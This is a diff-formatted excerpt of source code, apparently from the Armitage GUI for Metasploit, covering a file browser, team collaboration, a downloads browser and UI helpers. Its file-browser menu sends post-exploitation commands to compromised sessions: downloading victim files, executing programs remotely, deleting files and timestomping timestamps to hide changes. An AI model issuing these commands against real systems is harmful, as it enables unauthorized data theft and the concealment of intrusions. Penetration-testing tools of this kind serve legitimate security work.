setupMenu($1, "file_browser", @($2, %types, [$text getText]));
|
||||
|
||||
item($1, "Download", 'D', lambda({
|
||||
local('$f $dir @temp $tdir');
|
||||
@temp = split('\\\\', [$text getText]);
|
||||
|
||||
$dir = strrep(downloadDirectory(sessionToHost($sid), join("/", @temp)), "\\", "/");
|
||||
|
||||
foreach $f ($file) {
|
||||
[$setcwd];
|
||||
if (%types[$f] eq "dir") {
|
||||
$tdir = strrep(downloadDirectory(sessionToHost($sid), join("/", @temp), $f), "\\", "/");
|
||||
m_cmd($sid, "download -r \" $+ $f $+ \" \" $+ $tdir $+ \"");
|
||||
}
|
||||
else {
|
||||
m_cmd($sid, "download \" $+ $f $+ \" \" $+ $dir $+ \"");
|
||||
}
|
||||
}
|
||||
showError("Downloading:\n\n" . join("\n", $file) . "\n\nUse View -> Downloads to see files");
|
||||
elog("downloaded " . join(", ", $file) . " from " . [$text getText] . " on " . sessionToHost($sid));
|
||||
}, $file => $2, \$sid, \%types, \$setcwd, \$text));
|
||||
|
||||
item($1, "Execute", 'E', lambda({
|
||||
local('$f $args');
|
||||
[$setcwd];
|
||||
|
||||
$args = ask("Arguments?");
|
||||
|
||||
foreach $f ($file) {
|
||||
if ($args eq "") {
|
||||
m_cmd($sid, "execute -t -f \" $+ $f $+ \" -k");
|
||||
}
|
||||
else {
|
||||
$args = strrep($args, '\\', '\\\\');
|
||||
m_cmd($sid, "execute -t -f \" $+ $f $+ \" -k -a \" $+ $args $+ \"");
|
||||
}
|
||||
}
|
||||
}, $file => $2, \$sid, \$setcwd));
|
||||
|
||||
separator($1);
|
||||
|
||||
# use timestomp to make sure the date/time stamp is the same. :)
|
||||
local('$t $key $value');
|
||||
$t = menu($1, "Timestomp", 'T');
|
||||
item($t, "Get MACE values", 'G', lambda({
|
||||
[$setcwd];
|
||||
m_cmd($sid, "timestomp \" $+ $f $+ \" -v");
|
||||
}, \$sid, $f => $2[0], \$setcwd));
|
||||
|
||||
if (size(%attribs) > 0) {
|
||||
separator($t);
|
||||
|
||||
foreach $key => $value (%attribs) {
|
||||
item($t, "Set $key to $value", $null, lambda({
|
||||
local('%switches $s $f');
|
||||
[$setcwd];
|
||||
foreach $f ($files) {
|
||||
%switches = %(Modified => '-m', Accessed => '-a', Created => '-c');
|
||||
%switches["Entry Modified"] = '-e';
|
||||
$s = %switches[$key];
|
||||
m_cmd($sid, "timestomp \" $+ $f $+ \" $s \" $+ $value $+ \"");
|
||||
}
|
||||
m_cmd($sid, "ls");
|
||||
}, $files => $2, \$sid, $key => "$key", $value => "$value", \$setcwd));
|
||||
}
|
||||
|
||||
separator($t);
|
||||
item($t, "Set MACE values", 'S', lambda({
|
||||
local('$f %switches $s $cmd $key $value');
|
||||
%switches = %(Modified => '-m', Accessed => '-a', Created => '-c');
|
||||
%switches["Entry Modified"] = '-e';
|
||||
|
||||
[$setcwd];
|
||||
|
||||
foreach $f ($files) {
|
||||
$cmd = "timestomp \" $+ $f $+ \"";
|
||||
|
||||
foreach $key => $value (%attribs) {
|
||||
$s = %switches[$key];
|
||||
$cmd = "$cmd $s \" $+ $value $+ \"";
|
||||
}
|
||||
|
||||
m_cmd($sid, $cmd);
|
||||
}
|
||||
|
||||
m_cmd($sid, "ls");
|
||||
}, $files => $2, \$sid, \$setcwd));
|
||||
}
|
||||
|
||||
item($1, "Delete", 'l', lambda({
|
||||
local('$f');
|
||||
[$setcwd];
|
||||
foreach $f ($file) {
|
||||
if (%types[$f] eq "dir") {
|
||||
m_cmd($sid, "rmdir \" $+ $f $+ \"");
|
||||
}
|
||||
else {
|
||||
m_cmd($sid, "rm \" $+ $f $+ \"");
|
||||
}
|
||||
}
|
||||
m_cmd($sid, "ls");
|
||||
}, $file => $2, \$sid, \%types, \$setcwd));
|
||||
}
|
||||
|
||||
# Buttons:
|
||||
# [upload...] [make directory]
|
||||
#
|
||||
@@ -0,0 +1,170 @@
|
||||
#
|
||||
# Armitage Collaboration Feature... make no mistake, I'm extremely excited about this.
|
||||
#
|
||||
|
||||
import msf.*;
|
||||
import armitage.*;
|
||||
import console.*;
|
||||
import ssl.*;
|
||||
|
||||
sub createEventLogTab {
|
||||
this('$console $client');
|
||||
|
||||
if ($client is $null && $console is $null) {
|
||||
$client = [new ConsoleClient: $null, $mclient, "armitage.poll", "armitage.push", $null, "", $null];
|
||||
$console = [new ActivityConsole: $preferences];
|
||||
setupEventStyle($console);
|
||||
logCheck($console, "all", "events");
|
||||
[$client setWindow: $console];
|
||||
[$client setEcho: $null];
|
||||
[$console updatePrompt: "> "];
|
||||
}
|
||||
else {
|
||||
[$console updateProperties: $preferences];
|
||||
}
|
||||
|
||||
[$frame addTab: "Event Log", $console, $null];
|
||||
}
|
||||
|
||||
sub verify_server {
|
||||
this('%rejected');
|
||||
local('$fingerprints $fingerprint $check');
|
||||
$fingerprints = split(', ', [$preferences getProperty: "trusted.servers", ""]);
|
||||
foreach $fingerprint ($fingerprints) {
|
||||
if ($fingerprint eq $1) {
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
if (%rejected[$1] == 1) {
|
||||
return $null;
|
||||
}
|
||||
|
||||
$check = askYesNo("The team server's fingerprint is:\n\n<html><body><b> $+ $1 $+ </b></body></html>\n\nDoes this match the fingerprint shown\nwhen the team server started?", "Verify Fingerprint");
|
||||
|
||||
if ($check) {
|
||||
%rejected[$1] = 1;
|
||||
return $null;
|
||||
}
|
||||
else {
|
||||
push($fingerprints, $1);
|
||||
[$preferences setProperty: "trusted.servers", join(", ", $fingerprints)];
|
||||
savePreferences();
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
sub c_client {
|
||||
# run this thing in its own thread to avoid really stupid deadlock situations
|
||||
local('$handle');
|
||||
$handle = [[new SecureSocket: $1, int($2), &verify_server] client];
|
||||
return wait(fork({
|
||||
local('$client');
|
||||
$client = newInstance(^RpcConnection, lambda({
|
||||
writeObject($handle, @_);
|
||||
return readObject($handle);
|
||||
}, \$handle));
|
||||
return [new RpcAsync: $client];
|
||||
}, \$handle));
|
||||
}
|
||||
|
||||
sub userFingerprint {
|
||||
return unpack("H*", digest(values(systemProperties(), @("os.name", "user.home", "os.version")), "MD5"))[0];
|
||||
}
|
||||
|
||||
sub setup_collaboration {
|
||||
local('$nick %r $mclient');
|
||||
|
||||
$nick = ask("What is your nickname?");
|
||||
|
||||
while (["$nick" trim] eq "") {
|
||||
$nick = ask("You can't use a blank nickname. What do you want?");
|
||||
}
|
||||
|
||||
$mclient = c_client($3, $4);
|
||||
%r = call($mclient, "armitage.validate", $1, $2, $nick, "armitage", 120326);
|
||||
if (%r["error"] eq "1") {
|
||||
showErrorAndQuit(%r["message"]);
|
||||
}
|
||||
|
||||
%r = call($client, "armitage.validate", $1, $2, $null, "armitage", 120326);
|
||||
return $mclient;
|
||||
}
|
||||
|
||||
sub uploadFile {
|
||||
local('$handle %r $data');
|
||||
|
||||
$handle = openf($1);
|
||||
$data = readb($handle, -1);
|
||||
closef($handle);
|
||||
|
||||
%r = call($mclient, "armitage.upload", getFileName($1), $data);
|
||||
return %r['file'];
|
||||
}
|
||||
|
||||
sub uploadBigFile {
|
||||
local('$handle %r $data $file $progress $total $sofar $time $start');
|
||||
|
||||
$total = lof($1);
|
||||
$progress = [new javax.swing.ProgressMonitor: $null, "Upload " . getFileName($1), "Starting upload", 0, lof($1)];
|
||||
$start = ticks();
|
||||
$handle = openf($1);
|
||||
$data = readb($handle, 1024 * 256);
|
||||
%r = call($mclient, "armitage.upload", getFileName($1), $data);
|
||||
$sofar += strlen($data);
|
||||
|
||||
while $data (readb($handle, 1024 * 256)) {
|
||||
$time = (ticks() - $start) / 1000.0;
|
||||
[$progress setProgress: $sofar];
|
||||
[$progress setNote: "Speed: " . round($sofar / $time) . " bytes/second"];
|
||||
call($mclient, "armitage.append", getFileName($1), $data);
|
||||
$sofar += strlen($data);
|
||||
}
|
||||
[$progress close];
|
||||
return %r['file'];
|
||||
}
|
||||
|
||||
sub downloadFile {
|
||||
local('$file $handle %r $2');
|
||||
%r = call($mclient, "armitage.download", $1);
|
||||
$file = iff($2, $2, getFileName($1));
|
||||
$handle = openf("> $+ $file");
|
||||
writeb($handle, %r['data']);
|
||||
closef($handle);
|
||||
return $file;
|
||||
}
|
||||
|
||||
sub getFileContent {
|
||||
local('$file $handle %r');
|
||||
if ($mclient !is $client) {
|
||||
%r = call($mclient, "armitage.download_nodelete", $1);
|
||||
return %r['data'];
|
||||
}
|
||||
else {
|
||||
$handle = openf($1);
|
||||
$file = readb($handle, -1);
|
||||
closef($handle);
|
||||
return $file;
|
||||
}
|
||||
}
|
||||
|
||||
# returns the folder where files should be downloaded to!
|
||||
sub downloadDirectory {
|
||||
if ($client is $mclient) {
|
||||
local('@dirs $start $dir');
|
||||
$start = dataDirectory();
|
||||
push(@dirs, "downloads");
|
||||
addAll(@dirs, @_);
|
||||
|
||||
foreach $dir (@dirs) {
|
||||
if (isWindows()) {
|
||||
$dir = strrep($dir, "/", "\\", ":", "");
|
||||
}
|
||||
$start = getFileProper($start, $dir);
|
||||
}
|
||||
return $start;
|
||||
}
|
||||
else {
|
||||
return "downloads/" . join("/", @_);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,89 @@
|
||||
#
|
||||
# Loot browser (not yet complete... on hold until more post/ modules have loot)
|
||||
#
|
||||
|
||||
import table.*;
|
||||
|
||||
import java.awt.*;
|
||||
import java.awt.event.*;
|
||||
|
||||
import javax.swing.*;
|
||||
import javax.swing.event.*;
|
||||
import javax.swing.table.*;
|
||||
import ui.*;
|
||||
|
||||
sub updateDownloadModel {
|
||||
thread(lambda({
|
||||
local('$root $files $entry $findf $hosts $host');
|
||||
|
||||
if ($client !is $mclient) {
|
||||
$files = call($mclient, "armitage.downloads");
|
||||
}
|
||||
else {
|
||||
$files = listDownloads(downloadDirectory());
|
||||
}
|
||||
|
||||
[$model clear: 256];
|
||||
|
||||
foreach $entry ($files) {
|
||||
$entry["date"] = rtime($entry["updated_at"] / 1000.0);
|
||||
[$model addEntry: $entry];
|
||||
}
|
||||
[$model fireListeners];
|
||||
}, \$model));
|
||||
}
|
||||
|
||||
sub createDownloadBrowser {
|
||||
local('$table $model $panel $refresh $sorter $host $view $sync');
|
||||
|
||||
$model = [new GenericTableModel: @("host", "name", "path", "size", "date"), "location", 16];
|
||||
|
||||
$panel = [new JPanel];
|
||||
[$panel setLayout: [new BorderLayout]];
|
||||
|
||||
$table = [new ATable: $model];
|
||||
setupSizeRenderer($table, "size");
|
||||
$sorter = [new TableRowSorter: $model];
|
||||
[$sorter toggleSortOrder: 0];
|
||||
[$sorter setComparator: 0, &compareHosts];
|
||||
[$sorter setComparator: 4, {
|
||||
return convertDate($1) <=> convertDate($2);
|
||||
}];
|
||||
[$table setRowSorter: $sorter];
|
||||
|
||||
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
||||
|
||||
addMouseListener($table, lambda({
|
||||
if ($0 eq "mousePressed" && [$1 getClickCount] >= 2) {
|
||||
showLoot(\$model, \$table, $getme => "location");
|
||||
}
|
||||
}, \$model, \$table));
|
||||
|
||||
$view = [new JButton: "View"];
|
||||
|
||||
if ($client is $mclient) {
|
||||
$sync = [new JButton: "Open Folder"];
|
||||
[$sync addActionListener: gotoFile([new java.io.File: getFileProper(dataDirectory(), "downloads")])];
|
||||
}
|
||||
else {
|
||||
$sync = [new JButton: "Sync Files"];
|
||||
[$sync addActionListener: lambda({
|
||||
downloadLoot(\$model, \$table, $getme => "location", $type => "downloads");
|
||||
}, \$model, \$table)];
|
||||
}
|
||||
|
||||
[$view addActionListener: lambda({
|
||||
showLoot(\$model, \$table, $getme => "location");
|
||||
}, \$model, \$table)];
|
||||
|
||||
$refresh = [new JButton: "Refresh"];
|
||||
[$refresh addActionListener: lambda({
|
||||
updateDownloadModel(\$model);
|
||||
}, \$model)];
|
||||
|
||||
updateDownloadModel(\$model);
|
||||
|
||||
[$panel add: center($view, $sync, $refresh), [BorderLayout SOUTH]];
|
||||
|
||||
[$frame addTab: "Downloads", $panel, $null];
|
||||
}
|
||||
@@ -0,0 +1,518 @@
|
||||
#
|
||||
# This file defines the main GUI and loads additional modules
|
||||
#
|
||||
|
||||
debug(7 | 34);
|
||||
|
||||
import javax.swing.*;
|
||||
import javax.swing.event.*;
|
||||
import javax.swing.border.*;
|
||||
import javax.swing.table.*;
|
||||
import javax.swing.tree.*;
|
||||
import javax.imageio.*;
|
||||
|
||||
import java.awt.*;
|
||||
import java.awt.image.*;
|
||||
import java.awt.event.*;
|
||||
import java.awt.datatransfer.*;
|
||||
|
||||
import graph.*;
|
||||
import armitage.*;
|
||||
import table.*;
|
||||
import ui.*;
|
||||
|
||||
# Create a new menu, returns the menu, you have to attach it to something
|
||||
# menu([$parent], "Name", 'Accelerator')
|
||||
sub menu {
|
||||
local('$menu');
|
||||
if (size(@_) == 2) {
|
||||
$menu = [new JMenu: $1];
|
||||
|
||||
if ($2 !is $null) {
|
||||
[$menu setMnemonic: casti(charAt($2, 0), 'c')];
|
||||
}
|
||||
}
|
||||
else {
|
||||
$menu = invoke(&menu, sublist(@_, 1));
|
||||
[$1 add: $menu];
|
||||
}
|
||||
return $menu;
|
||||
}
|
||||
|
||||
sub dynmenu {
|
||||
local('$menu');
|
||||
$menu = [new DynamicMenu: $2];
|
||||
[$menu setMnemonic: casti(charAt($3, 0), 'c')];
|
||||
[$menu setHandler: $4];
|
||||
[$1 add: $menu];
|
||||
return $menu;
|
||||
}
|
||||
|
||||
# create a separator in the parent menu
|
||||
sub separator {
|
||||
[$1 addSeparator];
|
||||
}
|
||||
|
||||
# create a menu item, attaches it to the specified parent (based on the Name)
|
||||
# item($parent, "Name", 'accelerator', &listener)
|
||||
sub item {
|
||||
local('$item');
|
||||
$item = [new JMenuItem: $2];
|
||||
if ($3 !is $null) {
|
||||
[$item setMnemonic: casti(charAt($3, 0), 'c')];
|
||||
}
|
||||
|
||||
if ($4 is $null) { warn("Incomplete: " . @_); }
|
||||
|
||||
[$item addActionListener: lambda({
|
||||
invoke($function);
|
||||
}, $function => $4)];
|
||||
|
||||
[$1 add: $item];
|
||||
return $item;
|
||||
}
|
||||
|
||||
sub dispatchEvent {
|
||||
if ([SwingUtilities isEventDispatchThread]) {
|
||||
[$1];
|
||||
}
|
||||
else {
|
||||
[SwingUtilities invokeLater: $1];
|
||||
}
|
||||
}
|
||||
|
||||
sub showError {
|
||||
dispatchEvent(lambda({
|
||||
[JOptionPane showMessageDialog: $frame, $message];
|
||||
}, $message => $1));
|
||||
}
|
||||
|
||||
sub showErrorAndQuit {
|
||||
[JOptionPane showMessageDialog: $frame, $1];
|
||||
[System exit: 0];
|
||||
}
|
||||
|
||||
sub ask {
|
||||
local('$2');
|
||||
return [JOptionPane showInputDialog: "$1", "$2"];
|
||||
}
|
||||
|
||||
# askYesNo("title", "text")
|
||||
sub askYesNo {
|
||||
return [JOptionPane showConfirmDialog: $null, $1, $2, [JOptionPane YES_NO_OPTION]];
|
||||
}
|
||||
|
||||
sub chooseFile {
|
||||
local('$fc $file $title $sel $dir $multi $always $dirsonly');
|
||||
|
||||
if ($REMOTE && $always is $null) {
|
||||
if ($client !is $mclient) {
|
||||
local('$file');
|
||||
$file = chooseFile(\$title, \$file, \$sel, \$dir, \$dirsonly, \$multi, \$fc, $always => 1);
|
||||
if (-exists $file) {
|
||||
warn("Uploading $file");
|
||||
return uploadFile($file);
|
||||
}
|
||||
return "";
|
||||
}
|
||||
else {
|
||||
return ask("Please type a file name:");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
$fc = [new JFileChooser];
|
||||
|
||||
if ($title !is $null) {
|
||||
[$fc setDialogTitle: $title];
|
||||
}
|
||||
|
||||
if ($sel !is $null) {
|
||||
[$fc setSelectedFile: [new java.io.File: $sel]];
|
||||
}
|
||||
|
||||
if ($dir !is $null) {
|
||||
[$fc setCurrentDirectory: [new java.io.File: $dir]];
|
||||
}
|
||||
|
||||
if ($multi !is $null) {
|
||||
[$fc setMultiSelectionEnabled: 1];
|
||||
}
|
||||
|
||||
if ($dirsonly !is $null) {
|
||||
[$fc setFileSelectionMode: [JFileChooser DIRECTORIES_ONLY]];
|
||||
}
|
||||
|
||||
[$fc showOpenDialog: $frame];
|
||||
|
||||
if ($multi) {
|
||||
return [$fc getSelectedFiles];
|
||||
}
|
||||
else {
|
||||
$file = [$fc getSelectedFile];
|
||||
if ($file !is $null) {
|
||||
if (-exists $file) {
|
||||
return $file;
|
||||
}
|
||||
showError("$file does not exist!");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sub saveFile2 {
|
||||
local('$fc $file $sel');
|
||||
$fc = [new JFileChooser];
|
||||
|
||||
if ($sel !is $null) {
|
||||
[$fc setSelectedFile: [new java.io.File: $sel]];
|
||||
}
|
||||
|
||||
[$fc showSaveDialog: $frame];
|
||||
$file = [$fc getSelectedFile];
|
||||
if ($file !is $null) {
|
||||
return $file;
|
||||
}
|
||||
}
|
||||
|
||||
sub saveFile {
|
||||
local('$fc $file');
|
||||
$fc = [new JFileChooser];
|
||||
[$fc showSaveDialog: $frame];
|
||||
$file = [$fc getSelectedFile];
|
||||
if ($file !is $null) {
|
||||
local('$ihandle $data $ohandle');
|
||||
$ihandle = openf($1);
|
||||
$ohandle = openf("> $+ $file");
|
||||
while $data (readb($ihandle, 8192)) {
|
||||
writeb($ohandle, $data);
|
||||
}
|
||||
closef($ihandle);
|
||||
closef($ohandle);
|
||||
}
|
||||
}
|
||||
|
||||
# label_for("text", width, component)
|
||||
sub label_for {
|
||||
local('$panel $label $size');
|
||||
$panel = [new JPanel];
|
||||
[$panel setLayout: [new FlowLayout: [FlowLayout LEFT]]];
|
||||
|
||||
$label = [new JLabel: $1];
|
||||
|
||||
$size = [$label getPreferredSize];
|
||||
[$label setPreferredSize: [new Dimension: $2, [$size getHeight]]];
|
||||
|
||||
[$panel add: $label];
|
||||
[$panel add: $3];
|
||||
|
||||
if (size(@_) >= 4) {
|
||||
[$panel add: $4];
|
||||
}
|
||||
|
||||
return $panel;
|
||||
}
|
||||
|
||||
sub center {
|
||||
local('$panel $c');
|
||||
$panel = [new JPanel];
|
||||
[$panel setLayout: [new FlowLayout: [FlowLayout CENTER]]];
|
||||
|
||||
foreach $c (@_) {
|
||||
[$panel add: $c];
|
||||
}
|
||||
|
||||
return $panel;
|
||||
}
|
||||
|
||||
sub left {
|
||||
local('$panel $c');
|
||||
$panel = [new JPanel];
|
||||
[$panel setLayout: [new FlowLayout: [FlowLayout LEFT]]];
|
||||
|
||||
foreach $c (@_) {
|
||||
[$panel add: $c];
|
||||
}
|
||||
|
||||
return $panel;
|
||||
}
|
||||
|
||||
sub dialog {
|
||||
local('$dialog $4');
|
||||
$dialog = [new JDialog: $frame, $1];
|
||||
[$dialog setSize: $2, $3];
|
||||
[$dialog setLayout: [new BorderLayout]];
|
||||
[$dialog setLocationRelativeTo: $frame];
|
||||
return $dialog;
|
||||
}
|
||||
|
||||
sub window {
|
||||
local('$dialog $4');
|
||||
$dialog = [new JFrame: $1];
|
||||
[$dialog setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]];
|
||||
[$dialog setDefaultCloseOperation: [JFrame EXIT_ON_CLOSE]];
|
||||
[$dialog setSize: $2, $3];
|
||||
[$dialog setLayout: [new BorderLayout]];
|
||||
return $dialog;
|
||||
}
|
||||
|
||||
# overlay_images(@("image.png", "image2.png", "..."))
|
||||
# constructs an image by overlaying all the specified images over eachother.
|
||||
# this function caches the result so each combination is only created once.
|
||||
sub overlay_images {
|
||||
this('%cache');
|
||||
|
||||
if (join(';', $1) in %cache) {
|
||||
return %cache[join(';', $1)];
|
||||
}
|
||||
|
||||
local('$file $image $buffered $graphics');
|
||||
|
||||
$buffered = [new BufferedImage: 1000, 776, [BufferedImage TYPE_INT_ARGB]];
|
||||
$graphics = [$buffered createGraphics];
|
||||
foreach $file ($1) {
|
||||
$image = [ImageIO read: resource($file)];
|
||||
[$graphics drawImage: $image, 0, 0, 1000, 776, $null];
|
||||
}
|
||||
|
||||
$buffered = [$buffered getScaledInstance: 250 / $scale, 194 / $scale, [Image SCALE_SMOOTH]];
|
||||
|
||||
%cache[join(';', $1)] = $buffered;
|
||||
return $buffered;
|
||||
}
|
||||
|
||||
sub iconToImage {
|
||||
if ($1 isa ^ImageIcon) {
|
||||
return [$1 getImage];
|
||||
}
|
||||
else {
|
||||
local('$buffered $g');
|
||||
$buffered = [new BufferedImage: [$1 getIconWidth], [$1 getIconHeight], [BufferedImage TYPE_INT_ARGB]];
|
||||
$g = [$buffered createGraphics];
|
||||
[$1 paintIcon: $null, $g, $2, $3];
|
||||
[$g dispose];
|
||||
return $buffered;
|
||||
}
|
||||
}
|
||||
|
||||
sub imageToImage {
|
||||
local('$buffered $g');
|
||||
$buffered = [new BufferedImage: [$1 getWidth: $null], [$1 getHeight: $null], [BufferedImage TYPE_INT_ARGB]];
|
||||
$g = [$buffered createGraphics];
|
||||
[$g drawImage: $1, 0, 0, [$1 getWidth: $null], [$1 getHeight: $null], $null];
|
||||
[$g dispose];
|
||||
return $buffered;
|
||||
}
|
||||
|
||||
sub select {
|
||||
local('$combo');
|
||||
$combo = [new JComboBox: cast($1, ^String)];
|
||||
[$combo setSelectedItem: $2];
|
||||
return $combo;
|
||||
}
|
||||
|
||||
# buildTreeNodes(@)
|
||||
sub buildTree {
|
||||
local('%nodes $entry $parent $path');
|
||||
|
||||
foreach $entry ($1) {
|
||||
$parent = %nodes;
|
||||
foreach $path (split('\\/', $entry)) {
|
||||
if ($path !in $parent) {
|
||||
$parent[$path] = %();
|
||||
}
|
||||
$parent = $parent[$path];
|
||||
}
|
||||
}
|
||||
return %nodes;
|
||||
}
|
||||
|
||||
# treeNodes($1, buildTree(@(...)))
|
||||
sub treeNodes {
|
||||
local('$temp $p');
|
||||
|
||||
if ($1 is $null) {
|
||||
$1 = [new DefaultMutableTreeNode: "modules"];
|
||||
[$1 setAllowsChildren: 1];
|
||||
}
|
||||
|
||||
|
||||
foreach $temp (sorta(keys($2))) {
|
||||
$p = [new DefaultMutableTreeNode: $temp];
|
||||
[$p setAllowsChildren: 1];
|
||||
|
||||
if (size($2[$temp]) > 0) {
|
||||
treeNodes($p, $2[$temp]);
|
||||
}
|
||||
|
||||
[$1 add: $p];
|
||||
}
|
||||
|
||||
return $1;
|
||||
}
|
||||
|
||||
sub wrapComponent {
|
||||
local('$panel');
|
||||
$panel = [new JPanel];
|
||||
[$panel setLayout: [new BorderLayout]];
|
||||
[$panel add: $1, [BorderLayout CENTER]];
|
||||
[$panel setBorder: [BorderFactory createEmptyBorder: $2, $2, $2, $2]];
|
||||
return $panel;
|
||||
}
|
||||
|
||||
sub setLookAndFeel {
|
||||
local('$laf');
|
||||
foreach $laf ([UIManager getInstalledLookAndFeels]) {
|
||||
if ([$laf getName] eq [$preferences getProperty: "application.skin.skin", "Nimbus"]) {
|
||||
[UIManager setLookAndFeel: [$laf getClassName]];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sub thread {
|
||||
local('$thread');
|
||||
$thread = [new ArmitageThread: $1];
|
||||
[$thread start];
|
||||
}
|
||||
|
||||
sub compareHosts {
|
||||
if ($1 eq "unknown") {
|
||||
return compareHosts("0.0.0.0", $2);
|
||||
}
|
||||
else if ($2 eq "unknown") {
|
||||
return compareHosts($1, "0.0.0.0");
|
||||
}
|
||||
else {
|
||||
return [Route ipToLong: $1] <=> [Route ipToLong: $2];
|
||||
}
|
||||
}
|
||||
|
||||
# tells table to save any edited cells before going forward...
|
||||
sub syncTable {
|
||||
if ([$1 isEditing]) {
|
||||
[[$1 getCellEditor] stopCellEditing];
|
||||
}
|
||||
}
|
||||
|
||||
sub isWindows {
|
||||
return iff("*Windows*" iswm systemProperties()["os.name"], 1);
|
||||
}
|
||||
|
||||
sub selected {
|
||||
return [$2 getSelectedValueFromColumn: $1, $3];
|
||||
}
|
||||
|
||||
# ($table, $model) = setupTable("lead", @rows)
|
||||
sub setupTable {
|
||||
local('$table $model $sorter $row');
|
||||
$model = [new GenericTableModel: $2, $1, 8];
|
||||
foreach $row ($3) {
|
||||
[$model _addEntry: $row];
|
||||
}
|
||||
|
||||
$table = [new ATable: $model];
|
||||
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
|
||||
$sorter = [new TableRowSorter: $model];
|
||||
[$table setRowSorter: $sorter];
|
||||
|
||||
return @($table, $model);
|
||||
}
|
||||
|
||||
# creates a list dialog,
|
||||
# $1 = title, $2 = button text, $3 = columns, $4 = rows, $5 = callback
|
||||
sub quickListDialog {
|
||||
local('$dialog $panel $table $row $model $button $sorter $after $a');
|
||||
$dialog = dialog($1, $width, $height);
|
||||
$panel = [new JPanel];
|
||||
[$panel setLayout: [new BorderLayout]];
|
||||
|
||||
($table, $model) = setupTable($3[0], sublist($3, 1), $4);
|
||||
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
||||
|
||||
$button = [new JButton: $2];
|
||||
[$button addActionListener: lambda({
|
||||
[$callback : [$model getSelectedValueFromColumn: $table, $lead]];
|
||||
[$dialog setVisible: 0];
|
||||
}, \$dialog, $callback => $5, \$model, \$table, $lead => $3[0])];
|
||||
|
||||
local('$south');
|
||||
$south = [new JPanel];
|
||||
[$south setLayout: [new BoxLayout: $south, [BoxLayout Y_AXIS]]];
|
||||
|
||||
if ($after !is $null) {
|
||||
foreach $a ($after) {
|
||||
[$south add: $a];
|
||||
}
|
||||
}
|
||||
[$south add: center($button)];
|
||||
|
||||
[$panel add: $south, [BorderLayout SOUTH]];
|
||||
[$dialog add: $panel, [BorderLayout CENTER]];
|
||||
[$dialog show];
|
||||
[$dialog setVisible: 1];
|
||||
}
|
||||
|
||||
sub tableRenderer {
|
||||
return [ATable getDefaultTableRenderer: $1, $2];
|
||||
}
|
||||
|
||||
sub gotoFile {
|
||||
return lambda({
|
||||
local('$exception');
|
||||
try {
|
||||
[[Desktop getDesktop] open: $f];
|
||||
}
|
||||
catch $exception {
|
||||
showError("Could not open $f $+ \n $+ $exception");
|
||||
}
|
||||
}, $f => $1);
|
||||
}
|
||||
|
||||
sub isShift {
|
||||
return iff(([$1 getModifiers] & [ActionEvent SHIFT_MASK]) == [ActionEvent SHIFT_MASK], 1);
|
||||
}
|
||||
|
||||
inline safetyCheck {
|
||||
local('$__time');
|
||||
if ($__time == 0) {
|
||||
$__time = ticks();
|
||||
}
|
||||
if ((ticks() - $__time) > 250) {
|
||||
yield 50;
|
||||
$__time = ticks();
|
||||
}
|
||||
}
|
||||
|
||||
sub addMouseListener {
|
||||
[$1 addMouseListener: [new SafeMouseListener: $2]];
|
||||
}
|
||||
|
||||
sub pad {
|
||||
local('$panel');
|
||||
$panel = [new JPanel];
|
||||
[$panel setLayout: [new BorderLayout]];
|
||||
[$panel add: $1, [BorderLayout CENTER]];
|
||||
[$panel setBorder: [BorderFactory createEmptyBorder: $2, $3, $4, $5]];
|
||||
return $panel;
|
||||
}
|
||||
|
||||
sub setClipboard {
|
||||
local('$sel $cb');
|
||||
$sel = [new StringSelection: $1];
|
||||
$cb = [[Toolkit getDefaultToolkit] getSystemSelection];
|
||||
if ($cb !is $null) {
|
||||
[$cb setContents: $sel, $null];
|
||||
}
|
||||
|
||||
$cb = [[Toolkit getDefaultToolkit] getSystemClipboard];
|
||||
if ($cb !is $null) {
|
||||
[$cb setContents: $sel, $null];
|
||||
}
|
||||
}
|
||||
|
||||
sub setupMenu {
|
||||
# do nothing for now... this is for something coming later.
|
||||
}
|
||||
|
||||
sub installMenu {
|
||||
# do nothing for now... this is for something coming later.
|
||||
}
|
||||
@@ -0,0 +1,104 @@
|
||||
import msf.*;
|
||||
|
||||
import javax.swing.*;
|
||||
import javax.swing.event.*;
|
||||
|
||||
import java.awt.*;
|
||||
import java.awt.event.*;
|
||||
|
||||
sub addHostDialog {
|
||||
local('$dialog $label $text $finish $button');
|
||||
$dialog = [new JDialog: $frame, "Add Hosts", 0];
|
||||
[$dialog setSize: 320, 240];
|
||||
[$dialog setLayout: [new BorderLayout]];
|
||||
[$dialog setLocationRelativeTo: $frame];
|
||||
|
||||
$label = [new JLabel: "Enter one host/line:"];
|
||||
$text = [new JTextArea];
|
||||
|
||||
$finish = [new JPanel];
|
||||
[$finish setLayout: [new FlowLayout: [FlowLayout CENTER]]];
|
||||
|
||||
$button = [new JButton: "Add"];
|
||||
[$finish add: $button];
|
||||
|
||||
[$button addActionListener: lambda({
|
||||
local('@hosts');
|
||||
@hosts = split("[\n\s]", [$text getText]);
|
||||
cmd_safe("hosts -a " . join(" ", @hosts), lambda({
|
||||
showError("Added $x host" . iff($x != 1, "s"));
|
||||
elog("added $x host" . iff($x != 1, "s"));
|
||||
}, $x => size(@hosts)));
|
||||
[$dialog setVisible: 0];
|
||||
}, \$text, \$dialog)];
|
||||
|
||||
[$dialog add: $label, [BorderLayout NORTH]];
|
||||
[$dialog add: [new JScrollPane: $text], [BorderLayout CENTER]];
|
||||
[$dialog add: $finish, [BorderLayout SOUTH]];
|
||||
|
||||
[$dialog setVisible: 1];
|
||||
}
|
||||
|
||||
sub host_items {
|
||||
local('$i $j $k');
|
||||
item($1, "Import Hosts", 'I', &importHosts);
|
||||
item($1, "Add Hosts...", 'A', &addHostDialog);
|
||||
setupMenu($1, "hosts_top", @());
|
||||
|
||||
separator($1);
|
||||
|
||||
$j = menu($1, "Nmap Scan", 'S');
|
||||
setupMenu($j, "hosts_nmap", @());
|
||||
item($j, "Intense Scan", $null, createNmapFunction("--min-hostgroup 96 -T4 -A -v -n"));
|
||||
